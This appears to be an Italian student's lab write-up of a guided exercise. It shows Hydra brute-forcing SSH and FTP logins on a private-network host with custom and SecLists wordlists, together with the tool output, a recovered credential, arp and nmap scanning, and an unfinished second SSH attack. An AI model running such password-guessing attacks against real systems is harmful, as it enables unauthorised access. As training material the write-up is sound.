

Questo è il risultato dell'esercizio guidato:

```
(andre@kali)-[~]
$ hydra -L listauter.txt -P listapassword.txt 192.168.1.62 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 06:05:55
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 441 login tries (l:21/p:21), ~111 tries per task
[DATA] attacking ssh://192.168.1.62:22/
[STATUS] 42.00 tries/min, 42 tries in 00:01h, 399 to do in 00:10h, 4 active
[STATUS] 42.33 tries/min, 127 tries in 00:03h, 314 to do in 00:08h, 4 active
[STATUS] 42.43 tries/min, 297 tries in 00:07h, 144 to do in 00:04h, 4 active
[STATUS] 41.62 tries/min, 333 tries in 00:08h, 108 to do in 00:03h, 4 active
[STATUS] 41.33 tries/min, 372 tries in 00:09h, 69 to do in 00:02h, 4 active
[STATUS] 41.10 tries/min, 411 tries in 00:10h, 30 to do in 00:01h, 4 active
[22][ssh] host: 192.168.1.62 login: user password: testpass
[STATUS] 40.09 tries/min, 441 tries in 00:11h, 1 to do in 00:01h, 3 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 06:17:07

(andre@kali)-[~]
$
```

ho creato delle liste personalizzate con una ventina di username e password.

Come altro servizio ho scelto FTP:

```
(andre@kali)-[~]
$ hydra -L listauter.txt -P listapassword.txt 192.168.1.62 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 07:10:31
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 441 login tries (l:21/p:21), ~111 tries per task
[DATA] attacking ftp://192.168.1.62:21/
[STATUS] 76.00 tries/min, 76 tries in 00:01h, 365 to do in 00:05h, 4 active
[STATUS] 74.67 tries/min, 224 tries in 00:03h, 217 to do in 00:03h, 4 active
[21][ftp] host: 192.168.1.62 login: user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-12-13 07:16:53
```

Per quanto riguarda l'extra prima di tutto ho fatto un arp-scanning, poi ho usato nmap per capire qual'era l'indirizzo IP della macchina target, quindi ho anche fatto una scansione delle porte che mi ha dato questo risultato:

| PORT   | STATE | SERVICE |
|--------|-------|---------|
| 21/tcp | open  | ftp     |
| 22/tcp | open  | ssh     |
| 80/tcp | open  | http    |

a questo punto ho lanciato hydra con l'obiettivo di trovare le password per il servizio ssh; ho usato come dizionario seclists. Sta ancora cercando di crackare le password non appena avrò trovato qualcosa aggiornerò il documento.

```
(andre@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt 192.168.1.63 -t10 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 08:04:52
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 10 tasks per 1 server, overall 10 tasks, 16983 login tries (l:17/p:999), ~1699 tries per task
[DATA] attacking ssh://192.168.1.63:22/
[STATUS] 90.00 tries/min, 90 tries in 00:01h, 16893 to do in 03:08h, 10 active
[STATUS] 70.00 tries/min, 210 tries in 00:03h, 16773 to do in 03:60h, 10 active
[STATUS] 65.71 tries/min, 460 tries in 00:07h, 16523 to do in 04:12h, 10 active
[STATUS] 64.00 tries/min, 960 tries in 00:15h, 16023 to do in 04:11h, 10 active
[STATUS] 65.90 tries/min, 2043 tries in 00:31h, 14940 to do in 03:47h, 10 active
[STATUS] 65.15 tries/min, 3062 tries in 00:47h, 13921 to do in 03:34h, 10 active
```